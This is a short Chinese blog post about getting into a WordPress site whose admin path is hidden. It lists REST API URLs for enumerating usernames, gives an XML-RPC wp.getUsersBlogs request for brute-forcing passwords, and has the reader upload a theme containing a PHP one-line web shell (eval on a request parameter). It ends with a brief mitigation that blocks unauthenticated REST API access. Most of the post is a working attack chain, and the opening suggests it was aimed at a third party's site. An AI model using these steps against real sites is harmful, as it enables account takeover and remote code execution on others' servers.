今天打工赚窝囊费的时候,碰到一个wordpress,后台路径改了,无法找到后台,然后发现有wp-json和xmlrpc.php,准备用自己的博客测试一下。
思路为利用wp-json查看用户名,然后利用xmlrpc.php进行暴力破解(模拟更改后台路径的情况下),然后通过上传主题(带有一句话)进行连接(目前先写这么多)。
什么是wp-json
WordPress 4.4 版本以后增加了一个 REST API 功能,这是个非常棒功能,通过 REST API 生成的 JSON 接口,可以很轻松的获取网站的数据,可应用于其他网站、手机 APP 或小程序等。但是这个功能并不是每个网站都需要的,如果你博客没有任何客户端,那么你可以移除 WordPress 的 REST API 功能。
WP REST API 是WordPress 的一个功能,为其提供对外标准的 RESTFul 接口,随着 RESTFul 的畅行和各种前端框架的出现,WP REST API可以让 WordPress 不仅仅存在 Web 端,可以让 WordPress 不仅仅履行一个博客功能,而是可以让它作为后台终端(BackEnd),然后以各种应用的形式实现在各种各样的设备中。
/wp-json/wp/v2/users/
/?rest_route=/wp/v2/users
/?author=1
此处可以查看到网站的用户名。
然后构造登录语句
POST /xmlrpc.php HTTP/1.1
Host: xxx.xxx.xxx
....
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>password</value></param>
</params>
</methodCall>
如此便可以进行暴力破解。
利用密码或者cookie便可登录
登录到后台后,去上传带有shell.php的主题。
shell.php
eval($_REQUEST[8])
菜刀会连接失败,蚁剑可以。
修复建议:
在当前主题的function里添加:
add_filter( 'rest_authentication_errors', function( $result ) {
if ( ! empty( $result ) ) {
return $result;
}
if ( ! is_user_logged_in() ) {
return new WP_Error( 'Access denied', 'You have no permission to handle it.', array( 'status' => 401 ) );
}
return $result;
});
© 版权声明
THE END
暂无评论内容